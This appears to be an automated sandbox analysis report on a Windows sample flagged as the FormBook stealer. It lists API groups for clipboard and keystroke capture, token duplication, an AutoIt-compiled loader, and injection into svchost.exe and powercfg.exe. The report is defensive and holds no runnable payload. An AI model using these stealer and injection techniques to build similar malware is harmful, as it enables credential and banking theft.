Code function: 0_2_006C3F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_006C3F66

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006B001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_006B001C

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006DCABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_006DCABC

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.2600000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2613375030.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2613433985.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2613432274.0000000002B50000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886277798.0000000002600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1887212251.0000000004E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2610818121.0000000002A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2615837301.0000000005650000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886979901.0000000003390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00653B3A
Source: wWXR5js3k2.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: wWXR5js3k2.exe, 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_bc2c5e6b-f
Source: wWXR5js3k2.exe, 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_a6c17f90-e
Source: wWXR5js3k2.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_35741a0d-d
Source: wWXR5js3k2.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_afce573b-8

Uses powercfg.exe to modify the power settings

Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0262CD33 NtClose,	2_2_0262CD33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072B60 NtClose,LdrInitializeThunk,	2_2_03072B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03072DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030735C0 NtCreateMutant,LdrInitializeThunk,	2_2_030735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03074340 NtSetContextThread,	2_2_03074340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03074650 NtSuspendThread,	2_2_03074650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072B80 NtQueryInformationFile,	2_2_03072B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072BA0 NtEnumerateValueKey,	2_2_03072BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072BE0 NtQueryValueKey,	2_2_03072BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072BF0 NtAllocateVirtualMemory,	2_2_03072BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072AB0 NtWaitForSingleObject,	2_2_03072AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072AD0 NtReadFile,	2_2_03072AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072AF0 NtWriteFile,	2_2_03072AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072F30 NtCreateSection,	2_2_03072F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072F60 NtCreateProcessEx,	2_2_03072F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072F90 NtProtectVirtualMemory,	2_2_03072F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072FA0 NtQuerySection,	2_2_03072FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072FB0 NtResumeThread,	2_2_03072FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072FE0 NtCreateFile,	2_2_03072FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072E30 NtWriteVirtualMemory,	2_2_03072E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072E80 NtReadVirtualMemory,	2_2_03072E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072EA0 NtAdjustPrivilegesToken,	2_2_03072EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072EE0 NtQueueApcThread,	2_2_03072EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072D00 NtSetInformationFile,	2_2_03072D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072D10 NtMapViewOfSection,	2_2_03072D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072D30 NtUnmapViewOfSection,	2_2_03072D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072DB0 NtEnumerateKey,	2_2_03072DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072DD0 NtDelayExecution,	2_2_03072DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072C00 NtQueryInformationProcess,	2_2_03072C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072C60 NtCreateKey,	2_2_03072C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072C70 NtFreeVirtualMemory,	2_2_03072C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072CA0 NtQueryInformationToken,	2_2_03072CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072CC0 NtQueryVirtualMemory,	2_2_03072CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072CF0 NtOpenProcess,	2_2_03072CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073010 NtOpenDirectoryObject,	2_2_03073010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073090 NtSetValueKey,	2_2_03073090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030739B0 NtGetContextThread,	2_2_030739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073D10 NtOpenProcessToken,	2_2_03073D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073D70 NtOpenThread,	2_2_03073D70
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03324340 NtSetContextThread,LdrInitializeThunk,	5_2_03324340
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03324650 NtSuspendThread,LdrInitializeThunk,	5_2_03324650
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322B60 NtClose,LdrInitializeThunk,	5_2_03322B60
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_03322BA0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_03322BF0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_03322BE0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322AF0 NtWriteFile,LdrInitializeThunk,	5_2_03322AF0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322AD0 NtReadFile,LdrInitializeThunk,	5_2_03322AD0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322F30 NtCreateSection,LdrInitializeThunk,	5_2_03322F30
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322FB0 NtResumeThread,LdrInitializeThunk,	5_2_03322FB0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322FE0 NtCreateFile,LdrInitializeThunk,	5_2_03322FE0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_03322E80
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_03322EE0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_03322D30
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_03322D10
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_03322DF0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322DD0 NtDelayExecution,LdrInitializeThunk,	5_2_03322DD0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_03322C70
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322C60 NtCreateKey,LdrInitializeThunk,	5_2_03322C60
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_03322CA0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033235C0 NtCreateMutant,LdrInitializeThunk,	5_2_033235C0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033239B0 NtGetContextThread,LdrInitializeThunk,	5_2_033239B0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322B80 NtQueryInformationFile,	5_2_03322B80
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322AB0 NtWaitForSingleObject,	5_2_03322AB0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322F60 NtCreateProcessEx,	5_2_03322F60
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322FA0 NtQuerySection,	5_2_03322FA0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322F90 NtProtectVirtualMemory,	5_2_03322F90
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322E30 NtWriteVirtualMemory,	5_2_03322E30
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322EA0 NtAdjustPrivilegesToken,	5_2_03322EA0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322D00 NtSetInformationFile,	5_2_03322D00
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322DB0 NtEnumerateKey,	5_2_03322DB0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322C00 NtQueryInformationProcess,	5_2_03322C00
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322CF0 NtOpenProcess,	5_2_03322CF0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03322CC0 NtQueryVirtualMemory,	5_2_03322CC0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03323010 NtOpenDirectoryObject,	5_2_03323010
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03323090 NtSetValueKey,	5_2_03323090
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03323D10 NtOpenProcessToken,	5_2_03323D10
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03323D70 NtOpenThread,	5_2_03323D70
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A89630 NtReadFile,	5_2_02A89630
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A897C0 NtClose,	5_2_02A897C0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A89720 NtDeleteFile,	5_2_02A89720
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A894C0 NtCreateFile,	5_2_02A894C0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A89920 NtAllocateVirtualMemory,	5_2_02A89920

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006BA1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_006BA1EF

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006A8310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_006A8310

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006B51BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_006B51BD

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0065E6A0	0_2_0065E6A0
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0067D975	0_2_0067D975
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006721C5	0_2_006721C5
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006862D2	0_2_006862D2
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006D03DA	0_2_006D03DA
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0068242E	0_2_0068242E
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006725FA	0_2_006725FA
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006AE616	0_2_006AE616
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006666E1	0_2_006666E1
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0068878F	0_2_0068878F
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00686844	0_2_00686844
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006D0857	0_2_006D0857
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00668808	0_2_00668808
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006B8889	0_2_006B8889
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0067CB21	0_2_0067CB21
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00686DB6	0_2_00686DB6
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00666F9E	0_2_00666F9E
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00663030	0_2_00663030
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0067F1D9	0_2_0067F1D9
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00673187	0_2_00673187
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00651287	0_2_00651287
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00671484	0_2_00671484
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00665520	0_2_00665520
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00677696	0_2_00677696
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00665760	0_2_00665760
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00671978	0_2_00671978
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00689AB5	0_2_00689AB5
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0065FCE0	0_2_0065FCE0
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006D7DDB	0_2_006D7DDB
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0067BDA6	0_2_0067BDA6
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00671D90	0_2_00671D90
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0065DF00	0_2_0065DF00
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00663FE0	0_2_00663FE0
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_032D35D0	0_2_032D35D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02618D53	2_2_02618D53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_026032F0	2_2_026032F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0262F363	2_2_0262F363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0260E8EA	2_2_0260E8EA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0260E8F3	2_2_0260E8F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0260E93C	2_2_0260E93C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_026029A0	2_2_026029A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02601180	2_2_02601180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_026026B0	2_2_026026B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02616F43	2_2_02616F43
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_026107A3	2_2_026107A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0260E7A3	2_2_0260E7A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0261057A	2_2_0261057A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02610583	2_2_02610583
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FA352	2_2_030FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031003E6	2_2_031003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C02C0	2_2_030C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030100	2_2_03030100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C8158	2_2_030C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031001AA	2_2_031001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F81CC	2_2_030F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03064750	2_2_03064750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303C7C0	2_2_0303C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305C6E0	2_2_0305C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03100591	2_2_03100591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F2446	2_2_030F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EE4F6	2_2_030EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FAB40	2_2_030FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F6BD7	2_2_030F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03056962	2_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310A9A6	2_2_0310A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304A840	2_2_0304A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03042840	2_2_03042840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030268B8	2_2_030268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E8F0	2_2_0306E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03082F28	2_2_03082F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03060F30	2_2_03060F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4F40	2_2_030B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BEFA0	2_2_030BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032FC8	2_2_03032FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304CFE0	2_2_0304CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FEE26	2_2_030FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040E59	2_2_03040E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052E90	2_2_03052E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FCE93	2_2_030FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FEEDB	2_2_030FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304AD00	2_2_0304AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03058DBF	2_2_03058DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303ADE0	2_2_0303ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040C00	2_2_03040C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0CB5	2_2_030E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030CF2	2_2_03030CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F132D	2_2_030F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302D34C	2_2_0302D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0308739A	2_2_0308739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030452A0	2_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B2C0	2_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307516C	2_2_0307516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310B16B	2_2_0310B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304B1B0	2_2_0304B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EF0CC	2_2_030EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F70E9	2_2_030F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FF0E0	2_2_030FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FF7B0	2_2_030FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F16CC	2_2_030F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F7571	2_2_030F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DD5B0	2_2_030DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FF43F	2_2_030FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03031460	2_2_03031460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFB76	2_2_030FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305FB80	2_2_0305FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B5BF0	2_2_030B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307DBF9	2_2_0307DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFA49	2_2_030FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F7A46	2_2_030F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B3A6C	2_2_030B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DDAAC	2_2_030DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03085AA0	2_2_03085AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EDAC6	2_2_030EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D5910	2_2_030D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03049950	2_2_03049950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B950	2_2_0305B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AD800	2_2_030AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030438E0	2_2_030438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFF09	2_2_030FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041F92	2_2_03041F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFFB1	2_2_030FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03049EB0	2_2_03049EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03043D40	2_2_03043D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F1D5A	2_2_030F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F7D73	2_2_030F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305FDC0	2_2_0305FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B9C32	2_2_030B9C32
